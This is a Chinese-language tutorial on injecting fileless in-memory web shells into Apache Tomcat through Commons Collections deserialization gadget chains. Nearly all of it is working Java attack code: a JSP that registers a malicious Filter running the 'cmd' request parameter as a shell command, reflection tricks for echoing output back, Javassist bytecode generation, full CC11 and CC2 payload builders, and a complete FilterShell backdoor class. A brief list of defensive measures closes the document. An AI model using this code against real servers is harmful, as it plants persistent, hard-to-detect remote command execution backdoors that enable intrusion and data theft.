结合CC链注入无文件Tomcat内存马
字数 865 2025-08-11 21:26:39
Tomcat内存马注入技术详解
一、Tomcat内存马基础
Tomcat内存马是一种无需写入磁盘文件即可在内存中驻留的恶意后门技术,主要分为以下几种类型:
- Filter内存马:通过动态注册Filter实现
- Servlet内存马:通过动态注册Servlet实现
- Listener内存马:通过动态注册Listener实现
- Valve内存马:通过Tomcat的Valve管道机制实现
传统内存马的局限性
传统的内存马技术虽然不直接写入磁盘,但会在Tomcat的工作目录下生成临时文件:
- 路径:
CATALINA_BASE/work/Catalina/localhost/[应用名]/org/apache/jsp/ - 这使得它们并非真正的"无文件"内存马
二、Filter内存马实现原理
1. 基本Filter实现
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
2. 动态注册Filter的JSP实现
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.*" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%
// 获取StandardContext
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 创建恶意Filter
Filter filter = new Filter() {
@Override public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null) {
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")}
: new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
// 其他方法省略...
};
// 注册Filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(
Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
// 设置Filter映射
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("Inject done");
%>
三、Tomcat回显技术
1. 获取Request/Response对象
通过修改ApplicationDispatcher.WRAP_SAME_OBJECT和ApplicationFilterChain的静态变量实现:
// 修改WRAP_SAME_OBJECT
Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
// 去除final修饰
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD,
WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
// 修改lastServicedRequest/lastServicedResponse
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
// 同样去除final修饰
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
modifiersField.setInt(lastServicedRequestField,
lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField,
lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
// 设置初始值
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
2. 回显实现
ThreadLocal<ServletRequest> lastServicedRequest =
(ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
String cmd = lastServicedRequest != null ?
lastServicedRequest.get().getParameter("cmd") : null;
if (cmd != null) {
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd}
: new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
Writer writer = lastServicedResponse.get().getWriter();
writer.write(output);
writer.flush();
}
四、利用CC链注入内存马
1. CC11链分析
利用链:
ObjectInputStream.readObject()
-> HashSet.readObject()
-> HashMap.put()
-> HashMap.hash()
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> InvokerTransformer.transform()
-> Method.invoke()
... templates gadgets ...
-> Runtime.exec()
2. 动态生成恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("EvilClass");
// 插入恶意代码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
// 设置父类避免报错
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
// 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, targetByteCodes);
Field _name = templates.getClass().getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "name");
Field _class = templates.getClass().getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates, null);
3. 完整CC11利用链构造
// 初始化InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
// 构造LazyMap
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map, templates);
// 构造HashSet
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 反射修改HashSet内部map
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
// 获取HashSet内部table并修改第一个节点的key
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(hashset_map);
Object node = array[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, tiedmap);
// 最后修改InvokerTransformer的iMethodName为newTransformer
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer, "newTransformer");
五、无文件内存马注入实战
1. 完整内存马类实现
public class FilterShell extends AbstractTranslet implements Filter {
static {
try {
// 设置WRAP_SAME_OBJECT和lastServicedRequest/Response
// ...省略设置代码...
// 获取ServletContext和StandardContext
ServletRequest servletRequest = lastServicedRequest.get();
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field stdContext = applicationContext.getClass().getDeclaredField("context");
stdContext.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContext.get(applicationContext);
// 创建并注册Filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new FilterShell());
filterDef.setFilterName("MaliciousFilter");
filterDef.setFilterClass(FilterShell.class.getName());
standardContext.addFilterDef(filterDef);
// 创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(
Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(standardContext, filterDef);
// 添加到filterConfigs
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("MaliciousFilter", filterConfig);
// 设置Filter映射
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("MaliciousFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null) {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", request.getParameter("cmd")}
: new String[]{"sh", "-c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int readSize;
while ((readSize = in.read(buffer)) != -1) {
outputStream.write(buffer, 0, readSize);
}
response.getWriter().println(outputStream.toString());
return;
}
chain.doFilter(request, response);
}
// 其他方法省略...
}
2. 利用CC2链注入字节码
public class cc2 {
public static void main(String[] args) throws Exception {
// 加载恶意类字节码
byte[] bytes = Files.readAllBytes(Paths.get("FilterShell.class"));
// 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_name", "Malicious");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_class", null);
// 构造CC2链
InvokerTransformer invokerTransformer = new InvokerTransformer(
"newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(
new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
// 反射修改comparator
Field transformField = transformingComparator.getClass()
.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator, invokerTransformer);
// 序列化
serialize(priorityQueue);
}
public static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
六、防御措施
-
禁用危险的类和方法:
- 限制
org.apache.commons.collections相关类的使用 - 禁用
TemplatesImpl等危险类
- 限制
-
安全配置:
- 设置
WRAP_SAME_OBJECT为false - 定期检查
filterConfigs等关键数据结构
- 设置
-
运行时防护:
- 使用RASP检测内存马注入行为
- 监控动态类加载和反射调用
-
代码审计:
- 检查所有反序列化入口点
- 验证所有动态注册的Filter/Servlet/Listener
-
更新补丁:
- 及时更新Tomcat和依赖库版本
- 修复已知的反序列化漏洞